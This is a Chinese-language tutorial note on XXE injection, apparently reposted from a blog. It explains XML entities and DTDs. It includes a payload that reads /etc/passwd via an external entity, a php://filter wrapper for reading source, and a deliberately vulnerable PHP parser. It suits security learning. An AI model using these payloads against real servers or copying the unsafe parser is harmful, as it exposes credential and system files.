0x00 XXE漏洞介绍：
背景：2018-7-4 微信支付SDK漏洞（XXE漏洞），攻击者可以获取服务器中目录结构，文件内容，eg：代码，各种私钥。敏感数据泄露
0x01什么是xxe漏洞：
XXE （XML External Entity injection）XML 外部实体注入漏洞，如果XML 文件在引用外部实体时候，可以沟通构造恶意内容，可以导致读取任意文件，命令执行和对内网的攻击，这就是XXE漏洞.
XML Extwrnal Entity,也就是XML外部实体注入攻击
- 漏洞存在于XML中
- 外部 漏洞的条件 实体通过SYStem加载外部资源 DTD也可以通过外部应用
- ENtity 实体 ：漏洞的具体位置 变量
外部引用必须被XML解释器解析才能加载
漏洞的利用过程和SSRF非常类似。漏洞的危害与ssrf几乎一致。
什么是XML？
- 可扩展标记语言:标记数据，定义数据类型
- 一种标记语言，类似于HTML（由标签组成<>)
- 宗旨是传输数据，而非显示数据。html被设计用来显示数据
- 标签没有被定义，需要自行定义标签
- 被设计为具有自我描述性
- 是W3c的推荐标准
区别：
1.XML可自定义标签
2.XML存储或传输数据
3，XML区分大小写
4.XML标签嵌套闭合比较严谨
5.必须要有根元素，如
6.实体字符 类似于xss eg：<>由< 和 >表示
HTML目的是为了显示数据
元素代表标签：
第一行：定义note元素，定义了里面有to,from,heading,body这四个元素
ENtity 实体定义：在DTD下面 (实体就是个变量）
<!ENTITY free "nice"> 定义了一个实体叫free ，free里面存了个nice，类似于变量的作用
调用变量：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free "nice"> //内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
调用结果显示如下：
外部实体需要通过system引用
eg： //通过file协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM"file:///etc/passwd">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
DTD通过外部引用的方法：（逻辑）
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
将上述代码写入free.dtd文件中
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "free.dtd"> //这里通过system来对free.dtd文件进行加载
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
导致文件读取，泄露服务器上的敏感数据 （前提条件是：XML文档能够被解析）
接下来的代码将展示XML文件如何被解析：
xxe.php文件：
<?php
$xml=file_get_contents("php://input");//**接收用户传过来的XML文档**
//通过php- input来捕获数据流 data ，将捕获到的内容存到xml中
$data = simplexml_load_string($xml) ;
// 把xml文档解析成simple xml element object对象
echo "<pre>" ;
print_r($data) ;
//将解析后的对象打印到公屏
echo "</pre>" ;
?>
如何读取php文件：
php://filiter/read=convert.base64-encode/resource=xxe.php
当没有print_r($data);的情况下，即无回显，该如何解决呢？
解决方法：
1.获取数据，把数据内容保存到变量中 外部实体
2.获取前面取到的数据 （带外）oob
实验环境搭建：
标签：XML,外部,实体,free,学习,漏洞,XXE 来源： https://www.cnblogs.com/ZZslBl0g/p/16597661.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。